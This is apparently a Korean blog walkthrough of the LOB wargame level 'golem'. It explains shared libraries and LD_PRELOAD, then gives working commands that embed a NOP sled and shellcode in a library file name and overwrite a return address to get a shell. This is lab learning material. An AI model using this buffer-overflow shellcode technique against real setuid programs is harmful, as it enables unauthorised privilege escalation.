skeleton -> golem 으로 접속합니다.
소스 코드를 보는데...
웃음만 나오네요 하하하
RET 영역을 빼고 모두다 초기화 시켜버리네요
그래도 혹시나 싶으니
golem을 golem1으로 복사하여
gdb로 열어봅시다.
프로그램이 끝나기 직전에 break 를 걸고
실행하면
쉘코드를 어디에다 올려야할지 감이 안잡히네요
다시금 메모리 구조를 생각한 결과
공유 라이브러리 말고는 없었습니다
공유라이브러리 + LD_PRELOAD 를 이용하여 후킹을 해야한다는 걸 알았습니다.
우선 공유라이브러리에 대해 다시 공부했습니다.
공유라이브러리는 심볼(함수,변수)들을 프록램이 시작하기 전에 로드하여 필요로 할 때마다 연동되는 동적인 라이브러리이다.
메모리, 용량 절약과 라이브러리를 어제든지 업데이트 할 수 있는 융통성을 가지고 이지만 사용자로부터 접근하기 쉽도록 짜여 있어, 보안에 문제가 발생한다.
gcc -c fPIC ex1.c
공유 라이브러리 함수로 컴파일 할때는 독립한 코드로 만들기 위해 -fPIC옵션을 이용한다.
gcc -shared -o libmyshared.so mshared.o
공유라이브러리 파일을 만들기 위해 ar을 이용하는 것이 아니라 gcc의 -shared 옵션을 이용하여 생성한다.
출처 - http://mintnlatte.tistory.com/156
LD_PRELOAD
프로세스 실행 과정 라이브러리를 로딩 할때, LD_PRELOAD 변수가 설정되어 있으면 해당 변수에 지정된 라이브러리를 먼저 로딩하고, 이중 libc 함수명과 동일한 함수가 있다면 해당 함수를 먼저 호출해 준다.
즉, 자동으로 후킹을 수행해준다는 말과 같다.
출처 - http://hyunmini.tistory.com/55
파일이 실행되어 공유라이브러리를 사용한다면,
공유라이브러리를 사용하는 모든 프로그램은 만들어진 라이브러리를 사용하게 될 것이고
이때 LD_PRELOAD를 통해 라이브러리를 공유 라이브러리 영역에 올리는게 가능합니다.
즉 라이브러리의 명을 올릴 수 있는거죠
우선
exploit.c 라는
프로그램을 하나 만들어 줍니다.
내용은 아무거나 넣어주고요~
이걸 컴파일 할건데
컴파일할때 공유라이브러리로 컴파일하는 동시에 파일명에 쉘코드를 넣어주는 것입니다.
(라이브러리의 명이 올라가기 때문에 )
gcc exploit.c -fPIC -shared -o `python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
(48바이트 쉘코드)
컴파일을 하고 난 뒤,
이것을 LD_PRELOAD에 올려줍시다.
export LD_PRELOAD="`python -c 'print "/home/skeleton/"+"\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`"
(경로도 같이 올려줘야합니다.)
그리고
env 로 확인하면
자 그럼 이제 확인해보기 위해
복사한 원본파일 (golem1)을 gdb로 확인해봅시다.
마지막 부분에 break를 걸고
여기서
x/1000x $ebp-1000 하니깐 아무것도 안나와서 $ebp-2000하니깐 나오네요
와
공유라이브러리의 파일명이 올라가있네요
넉넉잡아
0xbffff4f8로 ret를 설정해주면
되겠네요
./golem `python -c 'print "A"*44+"\xf8\xf4\xff\xbf"'`
'Security > Pwnable' 카테고리의 다른 글
LOB Level 13 darkknight (0) | 2021.08.10 |
---|---|
LOB Level 12 golem (0) | 2021.08.10 |
LOB Level 10 vampire (0) | 2021.08.09 |
LOB Level 9 troll (0) | 2021.08.09 |
LOB Level 8 orge (0) | 2021.08.09 |